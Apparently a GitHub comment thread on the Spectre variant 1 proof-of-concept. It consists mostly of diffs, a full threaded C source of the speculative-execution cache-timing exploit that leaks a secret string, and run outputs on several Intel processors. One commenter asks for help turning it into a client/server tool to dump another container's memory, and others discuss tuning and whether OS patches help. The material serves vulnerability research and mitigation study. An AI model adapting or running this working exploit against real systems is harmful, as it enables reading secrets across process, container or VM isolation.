Reading at malicious_x = 0xfffffffffffffed7... Unclear: 0x6D=’m’ score=997 (second best: 0x00 score=989)
Reading at malicious_x = 0xfffffffffffffed8... Unclear: 0x69=’i’ score=995 (second best: 0x00 score=977)
Reading at malicious_x = 0xfffffffffffffed9... Unclear: 0x73=’s’ score=993 (second best: 0x00 score=957)
Reading at malicious_x = 0xfffffffffffffeda... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xfffffffffffffedb... Unclear: 0x20=’ ’ score=998 (second best: 0x00 score=956)
Reading at malicious_x = 0xfffffffffffffedc... Unclear: 0x4F=’O’ score=992 (second best: 0x00 score=936)
Reading at malicious_x = 0xfffffffffffffedd... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=997)
Reading at malicious_x = 0xfffffffffffffede... Unclear: 0x73=’s’ score=995 (second best: 0x00 score=956)
Reading at malicious_x = 0xfffffffffffffedf... Unclear: 0x69=’i’ score=997 (second best: 0x00 score=994)
Reading at malicious_x = 0xfffffffffffffee0... Unclear: 0x66=’f’ score=996 (second best: 0x00 score=912)
Reading at malicious_x = 0xfffffffffffffee1... Unclear: 0x72=’r’ score=998 (second best: 0x00 score=989)
Reading at malicious_x = 0xfffffffffffffee2... Unclear: 0x61=’a’ score=997 (second best: 0x00 score=948)
Reading at malicious_x = 0xfffffffffffffee3... Unclear: 0x67=’g’ score=999 (second best: 0x00 score=986)
Reading at malicious_x = 0xfffffffffffffee4... Unclear: 0x65=’e’ score=982 (second best: 0x00 score=917)
Reading at malicious_x = 0xfffffffffffffee5... Unclear: 0x2E=’.’ score=997 (second best: 0x00 score=993

--- spectre.c.old 2018-01-05 08:46:35.000000000 +0300
+++ spectre.c 2018-01-05 08:57:18.000000000 +0300
@@ -47,7 +47,7 @@
/********************************************************************
Analysis code
*******************************************************************/
-#define CACHE_HIT_THRESHOLD(80) /
assume cache hit if time <= threshold /
+#define CACHE_HIT_THRESHOLD (80) /
assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
@@ -133,10 +133,10 @@
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],

  •  (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
    
  •  (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
    
    if (score[1] > 0)
    printf("(second best: 0x%02X score=%d)", value[1], score[1]);
    printf("\n");
    }
    return (0);
    -}
    \ No newline at end of file
    +}

LionsAd commented Jan 5, 2018

@utf8everywhere Replacing won't work for more modern processors without the fence, but using my threaded version at https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6#gistcomment-2311156 should work everywhere.

jamver commented Jan 5, 2018

Integrating all fixes above, with threading and displaying full secret and initialised recovered secret variables at top and final values at end.

Compiles with clang on Mac OS X and gcc on Linux (CentOS).

Diff against original gist

--- spectre-original.c	2018-01-05 11:55:55.000000000 +1000
+++ spectre.c	2018-01-05 16:27:48.000000000 +1000
@@ -3,0 +4,2 @@
+#include <string.h>
+#include <pthread.h>
@@ -11,0 +14,16 @@
+Compilation & Execution Instruction
+
+linux# gcc -std=c99 -march=native -pthread -O0 spectre.c -o spectre && ./spectre
+macos# clang -O0 spectre.c -o spectre && ./spectre
+
+********************************************************************/
+
+/********************************************************************
+Defaults
+
+These will likely require tuning per platform
+********************************************************************/
+#define CACHE_HIT_THRESHOLD 40  /* Default =  80; assume cache hit if time <= threshold */
+#define MAX_TRIES 2500          /* Default = 999; attempts to hit cache */
+
+/********************************************************************
@@ -37 +55 @@
-char * secret = "The Magic Words are Squeamish Ossifrage.";
+char secret[] = "The Magic Words are Squeamish Ossifrage.";
@@ -48 +66 @@
-Analysis code
+Thread code
@@ -50 +68,7 @@
-#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
+int counter_thread_ended = 0;
+uint32_t counter = 0;
+
+void * counter_function(void * x_void_ptr) {
+  while (!counter_thread_ended) {
+    counter++;
+  }
@@ -51,0 +76,7 @@
+  printf("counter thread finished\n");
+  return NULL;
+}
+
+/********************************************************************
+Analysis code
+********************************************************************/
@@ -55 +86,2 @@
-  int tries, i, j, k, mix_i, junk = 0;
+  int tries, i, j, k, mix_i;
+  unsigned int junk = 0;
@@ -62 +94 @@
-  for (tries = 999; tries > 0; tries--) {
+  for (tries = MAX_TRIES; tries > 0; tries--) {
@@ -89 +121,2 @@
-      time1 = __rdtscp( & junk); /* READ TIMER */
+      // time1 = __rdtsc(); /* READ TIMER */
+      time1 = counter; /* READ TIMER */
@@ -91 +124,2 @@
-      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
+      // time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
+      time2 = counter - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
@@ -119 +153,3 @@
-  int i, score[2], len = 40;
+  int i, score[2], len = 40, selected_id = 0, not_selected_id = 1;
+  char * not_selected_label = "second";
+  char recovered_secret[sizeof(secret)] = "";
@@ -120,0 +157,23 @@
+  char value_normalised[2];
+
+  printf("\n");
+  printf("CACHE_HIT_THRESHOLD = %d\n", CACHE_HIT_THRESHOLD);
+  printf("          MAX_TRIES = %d\n", MAX_TRIES);
+
+  printf("\n");
+  printf("Size of secret is %lu\n", sizeof(secret));
+  printf("Size of recovered_secret is %lu\n", sizeof(recovered_secret));
+
+  printf("\n");
+  printf(" Original secret: '%s'\n", secret);
+  printf("Recovered secret: '%s'\n", recovered_secret);
+  printf("\n");
+
+  // Setup the counter thread
+  pthread_t counter_thread;
+
+  if (pthread_create(&counter_thread, NULL, counter_function, NULL)) {
+    fprintf(stderr, "Error creating thread\n");
+    return 1;
+  }
+  // End Setup
@@ -135,4 +194,18 @@
-    printf("0x%02X=’%c’ score=%d ", value[0],
-      (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
-    if (score[1] > 0)
-      printf("(second best: 0x%02X score=%d)", value[1], score[1]);
+
+    selected_id = 0; not_selected_id = 1; not_selected_label = "second";
+
+    value_normalised[0] = (value[0] > 31 && value[0] < 127) ? value[0] : '?';
+    value_normalised[1] = (value[1] > 31 && value[1] < 127) ? value[1] : '?';
+
+    if (value_normalised[0] == '?' && value_normalised[1] != '?') {
+      selected_id = 1; not_selected_id = 0; not_selected_label = "first";
+    }
+
+    recovered_secret[strlen(recovered_secret)] = value_normalised[selected_id];
+
+    if (score[1] == 0) {
+      printf("0x%02X=’%c’ score=%d ", value[selected_id], value_normalised[selected_id], score[selected_id]);
+    } else {
+      printf("0x%02X=’%c’ score=%d ", value[selected_id], value_normalised[selected_id], score[selected_id]);
+      printf("(’%c|%c’ %6s: 0x%02X=’%c’ score=%d)", value_normalised[0], value_normalised[1], not_selected_label, value[not_selected_id], value_normalised[not_selected_id], score[not_selected_id]);
+    }
@@ -140,0 +214,14 @@
+
+  // Start: Exit counter thread
+  counter_thread_ended = 1;
+  if (pthread_join(counter_thread, NULL)) {
+    fprintf(stderr, "Error joining thread\n");
+    return 2;
+  }
+  // End: Exit counter thread
+
+  printf("\n");
+  printf(" Original secret: '%s'\n", secret);
+  printf("Recovered secret: '%s'\n", recovered_secret);
+  printf("\n");
+

Intel® Core(TM) i7-7820HQ CPU @ 2.90GHz (MacBookPro14,3 - 2017 15" MacBook Pro with Touchbar)

% clang -O0 spectre.c -ospectre && ./spectre

CACHE_HIT_THRESHOLD = 40
          MAX_TRIES = 2500

          Size of secret is 41
Size of recovered_secret is 41

 Original secret: 'The Magic Words are Squeamish Ossifrage.'
Recovered secret: ''

Reading 40 bytes:
Reading at malicious_x = 0xa0... Unclear: 0x54=’T’ score=2499 (’T|?’ second: 0x00=’?’ score=2499)
Reading at malicious_x = 0xa1... Unclear: 0x68=’h’ score=2498 (’?|h’  first: 0x00=’?’ score=2498)
Reading at malicious_x = 0xa2... Unclear: 0x65=’e’ score=2500 (’e|?’ second: 0x00=’?’ score=2496)
Reading at malicious_x = 0xa3... Unclear: 0x20=’ ’ score=2497 (’?| ’  first: 0x00=’?’ score=2501)
Reading at malicious_x = 0xa4... Unclear: 0x4D=’M’ score=2500 (’M|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xa5... Unclear: 0x61=’a’ score=2500 (’a|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xa6... Unclear: 0x67=’g’ score=2500 (’g|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xa7... Unclear: 0x69=’i’ score=2500 (’i|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xa8... Unclear: 0x63=’c’ score=2500 (’c|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xa9... Unclear: 0x20=’ ’ score=2496 (’?| ’  first: 0x00=’?’ score=2499)
Reading at malicious_x = 0xaa... Unclear: 0x57=’W’ score=2499 (’W|?’ second: 0x00=’?’ score=2498)
Reading at malicious_x = 0xab... Unclear: 0x6F=’o’ score=2498 (’?|o’  first: 0x00=’?’ score=2501)
Reading at malicious_x = 0xac... Unclear: 0x72=’r’ score=2500 (’r|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xad... Unclear: 0x64=’d’ score=2500 (’d|?’ second: 0x00=’?’ score=2498)
Reading at malicious_x = 0xae... Unclear: 0x73=’s’ score=2497 (’?|s’  first: 0x00=’?’ score=2501)
Reading at malicious_x = 0xaf... Unclear: 0x20=’ ’ score=2500 (’ |?’ second: 0x00=’?’ score=2498)
Reading at malicious_x = 0xb0... Unclear: 0x61=’a’ score=2500 (’a|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xb1... Unclear: 0x72=’r’ score=2500 (’r|?’ second: 0x00=’?’ score=2498)
Reading at malicious_x = 0xb2... Unclear: 0x65=’e’ score=2499 (’e|?’ second: 0x00=’?’ score=2498)
Reading at malicious_x = 0xb3... Unclear: 0x20=’ ’ score=2500 (’ |?’ second: 0x00=’?’ score=2498)
Reading at malicious_x = 0xb4... Unclear: 0x53=’S’ score=2500 (’S|?’ second: 0x00=’?’ score=2499)
Reading at malicious_x = 0xb5... Unclear: 0x71=’q’ score=2496 (’?|q’  first: 0x00=’?’ score=2501)
Reading at malicious_x = 0xb6... Unclear: 0x75=’u’ score=2500 (’u|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xb7... Unclear: 0x65=’e’ score=2499 (’e|?’ second: 0x00=’?’ score=2498)
Reading at malicious_x = 0xb8... Unclear: 0x61=’a’ score=2499 (’?|a’  first: 0x00=’?’ score=2501)
Reading at malicious_x = 0xb9... Unclear: 0x6D=’m’ score=2500 (’m|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xba... Unclear: 0x69=’i’ score=2500 (’i|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xbb... Unclear: 0x73=’s’ score=2500 (’s|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xbc... Unclear: 0x68=’h’ score=2500 (’h|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xbd... Unclear: 0x20=’ ’ score=2500 (’ |?’ second: 0x00=’?’ score=2498)
Reading at malicious_x = 0xbe... Unclear: 0x4F=’O’ score=2500 (’O|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xbf... Unclear: 0x73=’s’ score=2500 (’s|?’ second: 0x00=’?’ score=2498)
Reading at malicious_x = 0xc0... Unclear: 0x73=’s’ score=2498 (’?|s’  first: 0x00=’?’ score=2501)
Reading at malicious_x = 0xc1... Unclear: 0x69=’i’ score=2500 (’i|?’ second: 0x00=’?’ score=2498)
Reading at malicious_x = 0xc2... Unclear: 0x66=’f’ score=2499 (’f|?’ second: 0x00=’?’ score=2498)
Reading at malicious_x = 0xc3... Unclear: 0x72=’r’ score=2499 (’r|?’ second: 0x00=’?’ score=2498)
Reading at malicious_x = 0xc4... Unclear: 0x61=’a’ score=2500 (’a|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xc5... Unclear: 0x67=’g’ score=2500 (’g|?’ second: 0x00=’?’ score=2501)
Reading at malicious_x = 0xc6... Unclear: 0x65=’e’ score=2500 (’e|?’ second: 0x00=’?’ score=2499)
Reading at malicious_x = 0xc7... Unclear: 0x2E=’.’ score=2500 (’.|?’ second: 0x00=’?’ score=2501)
counter thread finished

 Original secret: 'The Magic Words are Squeamish Ossifrage.'
Recovered secret: 'The Magic Words are Squeamish Ossifrage.'

Intel(R) Xeon(R) CPU E5-2620 v3 @ 2.40GHz (CentOS Linux)

% gcc -std=c99 -march=native -pthread -O0 spectre.c -o spectre && ./spectre

CACHE_HIT_THRESHOLD = 40
          MAX_TRIES = 2500

          Size of secret is 41
Size of recovered_secret is 41

 Original secret: 'The Magic Words are Squeamish Ossifrage.'
Recovered secret: ''

Reading 40 bytes:
Reading at malicious_x = 0xa0... Unclear: 0x54=’T’ score=2500 (’T|[’ second: 0x5B=’[’ score=2487)
Reading at malicious_x = 0xa1... Unclear: 0x68=’h’ score=2492 (’h|?’ second: 0xB4=’?’ score=2491)
Reading at malicious_x = 0xa2... Unclear: 0x65=’e’ score=2490 (’e|?’ second: 0xB4=’?’ score=2488)
Reading at malicious_x = 0xa3... Unclear: 0x20=’ ’ score=2497 (’ |?’ second: 0xB4=’?’ score=2494)
Reading at malicious_x = 0xa4... Unclear: 0x4D=’M’ score=2482 (’M|?’ second: 0xE9=’?’ score=2462)
Reading at malicious_x = 0xa5... Unclear: 0x61=’a’ score=2495 (’a|?’ second: 0xB4=’?’ score=2466)
Reading at malicious_x = 0xa6... Unclear: 0x67=’g’ score=2498 (’g|[’ second: 0x5B=’[’ score=2495)
Reading at malicious_x = 0xa7... Unclear: 0x69=’i’ score=2498 (’i|[’ second: 0x5B=’[’ score=2496)
Reading at malicious_x = 0xa8... Unclear: 0x5B=’[’ score=2496 (’[|c’ second: 0x63=’c’ score=2495)
Reading at malicious_x = 0xa9... Unclear: 0x20=’ ’ score=2500 (’ |?’ second: 0xBC=’?’ score=2498)
Reading at malicious_x = 0xaa... Unclear: 0x57=’W’ score=2499 (’W|?’ second: 0xB4=’?’ score=2498)
Reading at malicious_x = 0xab... Unclear: 0x5B=’[’ score=2498 (’[|o’ second: 0x6F=’o’ score=2497)
Reading at malicious_x = 0xac... Unclear: 0x5B=’[’ score=2498 (’[|r’ second: 0x72=’r’ score=2494)
Reading at malicious_x = 0xad... Unclear: 0x5B=’[’ score=2498 (’?|[’  first: 0x00=’?’ score=2498)
Reading at malicious_x = 0xae... Unclear: 0x73=’s’ score=2499 (’s|[’ second: 0x5B=’[’ score=2496)
Reading at malicious_x = 0xaf... Unclear: 0x5B=’[’ score=2500 (’[| ’ second: 0x20=’ ’ score=2498)
Reading at malicious_x = 0xb0... Unclear: 0x61=’a’ score=2498 (’a|[’ second: 0x5B=’[’ score=2497)
Reading at malicious_x = 0xb1... Unclear: 0x72=’r’ score=2499 (’r|[’ second: 0x5B=’[’ score=2497)
Reading at malicious_x = 0xb2... Unclear: 0x65=’e’ score=2499 (’e|[’ second: 0x5B=’[’ score=2499)
Reading at malicious_x = 0xb3... Unclear: 0x5B=’[’ score=2499 (’[| ’ second: 0x20=’ ’ score=2499)
Reading at malicious_x = 0xb4... Unclear: 0x5B=’[’ score=2495 (’[|?’ second: 0xB4=’?’ score=2490)
Reading at malicious_x = 0xb5... Unclear: 0x71=’q’ score=2495 (’q|[’ second: 0x5B=’[’ score=2495)
Reading at malicious_x = 0xb6... Unclear: 0x75=’u’ score=2499 (’u|[’ second: 0x5B=’[’ score=2495)
Reading at malicious_x = 0xb7... Unclear: 0x5B=’[’ score=2500 (’[|e’ second: 0x65=’e’ score=2490)
Reading at malicious_x = 0xb8... Unclear: 0x5B=’[’ score=2499 (’[|a’ second: 0x61=’a’ score=2494)
Reading at malicious_x = 0xb9... Unclear: 0x5B=’[’ score=2499 (’[|m’ second: 0x6D=’m’ score=2495)
Reading at malicious_x = 0xba... Unclear: 0x69=’i’ score=2497 (’i|[’ second: 0x5B=’[’ score=2497)
Reading at malicious_x = 0xbb... Unclear: 0x5B=’[’ score=2498 (’[|s’ second: 0x73=’s’ score=2497)
Reading at malicious_x = 0xbc... Unclear: 0x68=’h’ score=2498 (’h|[’ second: 0x5B=’[’ score=2496)
Reading at malicious_x = 0xbd... Unclear: 0x20=’ ’ score=2500 (’ |?’ second: 0x00=’?’ score=2454)
Reading at malicious_x = 0xbe... Unclear: 0x4F=’O’ score=2500 (’O|?’ second: 0xEB=’?’ score=2457)
Reading at malicious_x = 0xbf... Unclear: 0x73=’s’ score=2497 (’s|[’ second: 0x5B=’[’ score=2495)
Reading at malicious_x = 0xc0... Unclear: 0x73=’s’ score=2499 (’s|[’ second: 0x5B=’[’ score=2486)
Reading at malicious_x = 0xc1... Unclear: 0x69=’i’ score=2500 (’i|[’ second: 0x5B=’[’ score=2486)
Reading at malicious_x = 0xc2... Unclear: 0x66=’f’ score=2499 (’f|[’ second: 0x5B=’[’ score=2495)
Reading at malicious_x = 0xc3... Unclear: 0x72=’r’ score=2500 (’r|[’ second: 0x5B=’[’ score=2493)
Reading at malicious_x = 0xc4... Unclear: 0x61=’a’ score=2499 (’a|[’ second: 0x5B=’[’ score=2495)
Reading at malicious_x = 0xc5... Unclear: 0x67=’g’ score=2500 (’g|[’ second: 0x5B=’[’ score=2490)
Reading at malicious_x = 0xc6... Unclear: 0x65=’e’ score=2500 (’e|[’ second: 0x5B=’[’ score=2492)
Reading at malicious_x = 0xc7... Unclear: 0x2E=’.’ score=2499 (’.|[’ second: 0x5B=’[’ score=2496)
counter thread finished

 Original secret: 'The Magic Words are Squeamish Ossifrage.'
Recovered secret: 'The Magi[ W[[[s[are[[qu[[[i[h Ossifrage.'

Full source code

#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
 Compilation & Execution Instruction

 linux# gcc -std=c99 -march=native -pthread -O0 spectre.c -o spectre && ./spectre
 
 macos# clang -O0 spectre.c -o spectre && ./spectre

 ********************************************************************/

/********************************************************************
 Defaults

 These will likely require tuning per platform
********************************************************************/

/* Default =  80; assume cache hit if time <= threshold */
#define CACHE_HIT_THRESHOLD 40

/* Default = 999; attempts to hit cache */
#define MAX_TRIES 2500

/********************************************************************
 Victim code.
 ********************************************************************/

unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char secret[] = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

/********************************************************************
 Thread code
 ********************************************************************/

int counter_thread_ended = 0;
uint32_t counter = 0;

void *counter_function(void *x_void_ptr) {
  while (!counter_thread_ended) {
    counter++;
  }

  printf("counter thread finished\n");
  return NULL;
}

/********************************************************************
 Analysis code
 ********************************************************************/

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i;
  unsigned int junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t *addr;

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = MAX_TRIES; tries > 0; tries--) {
    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x)
     */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      _mm_clflush(&array1_size);
      for (volatile int z = 0; z < 100; z++) {
      } /* Delay (can also mfence) */

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16));         /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);
    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = &array2[mix_i * 512];
      // time1 = __rdtsc(); /* READ TIMER */
      time1 = counter; /* READ TIMER */
      junk = *addr;    /* MEMORY ACCESS TO TIME */
      // time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
      time2 = counter - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
      if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) ||
        (results[j] == 2 && results[k] == 0))
      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t)j;
  score[0] = results[j];
  value[1] = (uint8_t)k;
  score[1] = results[k];
}

int main(int argc, const char **argv) {
  size_t malicious_x =
      (size_t)(secret - (char *)array1); /* default for malicious_x */
  int i, score[2], len = 40, selected_id = 0, not_selected_id = 1;
  char *not_selected_label = "second";
  char recovered_secret[sizeof(secret)] = "";
  uint8_t value[2];
  char value_normalised[2];

  printf("\n");
  printf("CACHE_HIT_THRESHOLD = %d\n", CACHE_HIT_THRESHOLD);
  printf("          MAX_TRIES = %d\n", MAX_TRIES);

  printf("\n");
  printf("          Size of secret is %lu\n", sizeof(secret));
  printf("Size of recovered_secret is %lu\n", sizeof(recovered_secret));

  printf("\n");
  printf(" Original secret: '%s'\n", secret);
  printf("Recovered secret: '%s'\n", recovered_secret);
  printf("\n");

  // Setup the counter thread
  pthread_t counter_thread;

  if (pthread_create(&counter_thread, NULL, counter_function, NULL)) {
    fprintf(stderr, "Error creating thread\n");
    return 1;
  }
  // End Setup

  for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  if (argc == 3) {
    sscanf(argv[1], "%p", (void **)(&malicious_x));
    malicious_x -= (size_t)array1; /* Convert input value into a pointer */
    sscanf(argv[2], "%d", &len);
  }

  printf("Reading %d bytes:\n", len);
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void *)malicious_x);
    readMemoryByte(malicious_x++, value, score);
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));

    selected_id = 0;
    not_selected_id = 1;
    not_selected_label = "second";

    value_normalised[0] = (value[0] > 31 && value[0] < 127) ? value[0] : '?';
    value_normalised[1] = (value[1] > 31 && value[1] < 127) ? value[1] : '?';

    if (value_normalised[0] == '?' && value_normalised[1] != '?') {
      selected_id = 1;
      not_selected_id = 0;
      not_selected_label = "first";
    }

    recovered_secret[strlen(recovered_secret)] = value_normalised[selected_id];

    if (score[1] == 0) {
      printf("0x%02X=’%c’ score=%d ", value[selected_id],
             value_normalised[selected_id], score[selected_id]);
    } else {
      printf("0x%02X=’%c’ score=%d ", value[selected_id],
             value_normalised[selected_id], score[selected_id]);
      printf("(’%c|%c’ %6s: 0x%02X=’%c’ score=%d)", value_normalised[0],
             value_normalised[1], not_selected_label, value[not_selected_id],
             value_normalised[not_selected_id], score[not_selected_id]);
    }
    printf("\n");
  }

  // Start: Exit counter thread
  counter_thread_ended = 1;
  if (pthread_join(counter_thread, NULL)) {
    fprintf(stderr, "Error joining thread\n");
    return 2;
  }
  // End: Exit counter thread

  printf("\n");
  printf(" Original secret: '%s'\n", secret);
  printf("Recovered secret: '%s'\n", recovered_secret);
  printf("\n");

  return (0);
}

zoobab commented Jan 5, 2018

I need some help to split the code in a client/server to try to spy on the memory of another container (OpenVZ or Docker in this case):

I have put a sleep 1000 after sscanf_s(argv[2], "%d", &len);
printf("I'll be back in 1000 seconds...\n\n");
sleep(1000);

I need to mod the code that the client manages to dump the memory of the server.

This would be useful as well for other types of virtualization (kvm, vmware, etc...).

model name : Intel(R) Core(TM)2 Quad CPU Q6600 @ 2.40GHz
Linux PaPa 4.13.0-21-generic #24-Ubuntu SMP Mon Dec 18 17:29:16 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
gcc (Ubuntu 7.2.0-8ubuntu3) 7.2.0

/spectre$ gcc -std=c99 -O0 spectre.c -o spectre
/spectre$ ./spectre

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfeda8... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfeda9... Success: 0x68=’h’ score=5 (second best: 0x05 score=2)
Reading at malicious_x = 0xffffffffffdfedaa... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfedab... Success: 0x20=’ ’ score=6 (second best: 0x02 score=2)
Reading at malicious_x = 0xffffffffffdfedac... Success: 0x4D=’M’ score=2 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedad... Success: 0x61=’a’ score=2 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedae... Success: 0x67=’g’ score=3 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedaf... Success: 0x69=’i’ score=3 (second best: 0x02 score=1)
Reading at malicious_x = 0xffffffffffdfedb0... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfedb1... Unclear: 0x20=’ ’ score=1 (second best: 0x04 score=1)
Reading at malicious_x = 0xffffffffffdfedb2... Success: 0x57=’W’ score=4 (second best: 0x02 score=1)
Reading at malicious_x = 0xffffffffffdfedb3... Success: 0x6F=’o’ score=1
Reading at malicious_x = 0xffffffffffdfedb4... Success: 0x72=’r’ score=6 (second best: 0x04 score=2)
Reading at malicious_x = 0xffffffffffdfedb5... Unclear: 0x64=’d’ score=1 (second best: 0x04 score=1)
Reading at malicious_x = 0xffffffffffdfedb6... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfedb7... Success: 0x20=’ ’ score=2 (second best: 0x02 score=1)
Reading at malicious_x = 0xffffffffffdfedb8... Success: 0x04=’?’ score=1
Reading at malicious_x = 0xffffffffffdfedb9... Success: 0x72=’r’ score=2 (second best: 0x03 score=1)
Reading at malicious_x = 0xffffffffffdfedba... Success: 0x65=’e’ score=4 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedbb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfedbc... Success: 0x05=’?’ score=2
Reading at malicious_x = 0xffffffffffdfedbd... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfedbe... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfedbf... Success: 0x65=’e’ score=3 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedc0... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfedc1... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfedc2... Unclear: 0x69=’i’ score=1 (second best: 0x03 score=1)
Reading at malicious_x = 0xffffffffffdfedc3... Unclear: 0x73=’s’ score=1 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedc4... Success: 0x68=’h’ score=3 (second best: 0x04 score=1)
Reading at malicious_x = 0xffffffffffdfedc5... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfedc6... Success: 0x4F=’O’ score=2 (second best: 0x04 score=1)
Reading at malicious_x = 0xffffffffffdfedc7... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfedc8... Success: 0x73=’s’ score=4 (second best: 0x03 score=1)
Reading at malicious_x = 0xffffffffffdfedc9... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfedca... Success: 0x66=’f’ score=2 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedcb... Unclear: 0x72=’r’ score=1 (second best: 0x03 score=1)
Reading at malicious_x = 0xffffffffffdfedcc... Success: 0x61=’a’ score=3 (second best: 0x04 score=1)
Reading at malicious_x = 0xffffffffffdfedcd... Unclear: 0x67=’g’ score=3 (second best: 0x04 score=2)
Reading at malicious_x = 0xffffffffffdfedce... Success: 0x65=’e’ score=1
Reading at malicious_x = 0xffffffffffdfedcf... Success: 0x2E=’.’ score=2
thomas@PaPa:~/spectre$

I don't think RedHat's fix has worked - https://access.redhat.com/security/vulnerabilities/speculativeexecution
After patching and booting one of our CentOS 7 servers at Amazon, it's still vulnerable, even though I can see the rpms have been applied.

rich0 commented Jan 5, 2018

@JonDaniel This is variant 1, and it can't be fixed with an OS update, unless it includes some kind of compiler fix to automatically apply mitigation and I don't think one exists just yet (though that could change at any time since it seems to be an area of activity).

I don't know what was in the RH patch, but I suspect it just fixed the known-vulnerable function in the kernel. That would prevent that specific function from being attacked, but not other functions that have the same vulnerability.

Think of variant 1 as a class of vulnerabilities, like a buffer overflow. You can fix a particular buffer overflow, but fixing them all requires changing how you write software, or building prevention into the compilers/language. That isn't a perfect analogy - this does rely on CPU behavior but it is still the case that any process that can interact with another process could contain vulnerable code.

paulie51 commented Jan 5, 2018

